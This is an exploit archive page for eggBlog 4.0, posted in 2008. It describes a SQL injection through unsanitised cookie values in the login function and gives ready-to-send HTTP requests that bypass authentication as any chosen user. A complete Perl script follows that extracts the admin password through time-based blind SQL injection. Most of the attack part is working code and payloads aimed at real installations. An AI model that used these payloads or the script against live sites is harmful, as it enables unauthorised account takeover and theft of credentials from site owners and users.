what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

eggblog40-sql.txt

eggblog40-sql.txt
Posted Apr 2, 2008
Authored by __GiReX__ | Site girex.altervista.org

eggBlog version 4.0 password retrieval remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 8485c6faa016e0c0d44936fffc083acb9979267a7b07956ed2d8136d077897de

eggblog40-sql.txt

Change Mirror Download
# Author:  __GiReX__
# mySite: girex.altervista.org
# Date: 27/03/2008 - 1/04/2008 Added exploit for str0ke

# CMS: eggBlog 4.0
# Site: eggblog.net

# Bug: SQL Injection (cookie vars)
# Type: 1 - Admin/User Authentication Bypass

# Bug2: Blind SQL Injection (same vars-query)
# Type: Password retrieve exploit

# Var : $_COOKIE['email], $_COOKIE['password']
# Need: magic_quotes_gpc = Off

# File: index.php
require_once "_lib/global.php";
...
eb_pre();

# File: /_lib/globals.php
require_once '_lib/user.php';
...
function eb_pre() {
...
if(isset($_COOKIE['email']) && isset($_COOKIE['password']) && !isset($_SESSION['user_id'])) eb_login($_COOKIE['email'],$_COOKIE['password'],1);

# Let we see function eb_login

# File: /_lib/user.php
function eb_login($email,$password,$key) {
...
if($key==0) $password=md5($password);

# Our $key is set to 1 so the password will not cprypted

$sql="SELECT user_id FROM eb_users WHERE user_email=\"".$email."\" AND md5(user_password)=\"".$password."\"";
$query=mysql_query($sql);

# I have no words, 2 vars not sanizated into a SELECT query

PoC 1:
GET [PATH]/index.php HTTP/1.1
Host: [HOST]
...
Cookie: email=@" OR "1; password=@" OR "1

# With this you will be authenticated with the fist record of table eb_user

PoC 2:
GET [PATH]/index.php HTTP/1.1
Host: [HOST]
...
Cookie: email=@" OR "1; password=@" OR "1" AND user_id="[VICTIM_USER_ID]

# For anybody you want

##############################################################################################################
# Start Blind SQL Injection / Password retrieve exploit #
# NOTE: Password is in plain-text so take a coffe... #
##############################################################################################################
#!/usr/bin/perl -w

# EggBlog v4.0 Blind SQL Injection
# Password Retrieve Exploit
# Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
print "usage: perl $0 [host] [path]\n";
print "example: perl $0 localhost /eggblog/\n";
exit;
}

my $client = new LWP::UserAgent;
my @cset = (32..126, 0);
my ($i, $j, $hash) = (0, 1, undef);

my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
$host .= $ARGV[1] unless not defined $ARGV[1];

banner();
check_vuln($host) or die "[-] Site not vulnerable\n";


while($i != $#cset)
{
for($i = 0; $i <= $#cset; $i++)
{
my ($pre_time, $post_time) = time();

$rv = check_char($host, $cset[$i], $j);
$post_time = time();

info(chr($cset[$i]), $post_time - $pre_time, $hash);

if($post_time - $pre_time > 3 and $rv)
{
$hash .= chr($cset[$i]);
last;
}
}

$j++;
}

print "\n". (defined $hash) ?
"[+] Admin password: ${hash} \n":
"[-] Exploit mistake: please check benchmark and charset\n";

print "[+] Exploit terminated\n\n";



sub banner
{
print "\n";
print "[+] EggBlog v4.0 Blind SQL Injection\n";
print "[+] Password Retrieve Exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}

sub check_vuln
{
my ($target, $res) = @_;

$get = new HTTP::Request(GET, $target);
$get->header('Cookie' => 'email=-1" WHERE X#; password=aaaaaaa;');
$res = $client->request($get);

if($res->is_success)
{
return 1 if $res->content =~ /<b>Warning<\/b>:/;
}

return 0;
}

sub check_char
{
my ($target, $char, $n, $res) = @_;

$get->header(Cookie =>
'email=-1"+AND+'.
'CASE+WHEN'.
'((SELECT(ASCII(SUBSTRING(user_password,'.$n.',1)))FROM+eb_users+WHERE+user_id=1)='.$char.')'.
'THEN+benchmark(90000000,CHAR(0))+'.
'END#; '.
'password=dummy_psw');

$res = $client->request($get);

return $res->is_success;
}

sub info
{
my ($char, $delay, $hash) = @_;
print STDOUT "[+] Admin password: ${hash}".$char."\r" unless not defined $hash;
# print STDOUT "[+] Char: ${char} - Delay: ${delay}\r";
$| = 1;
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close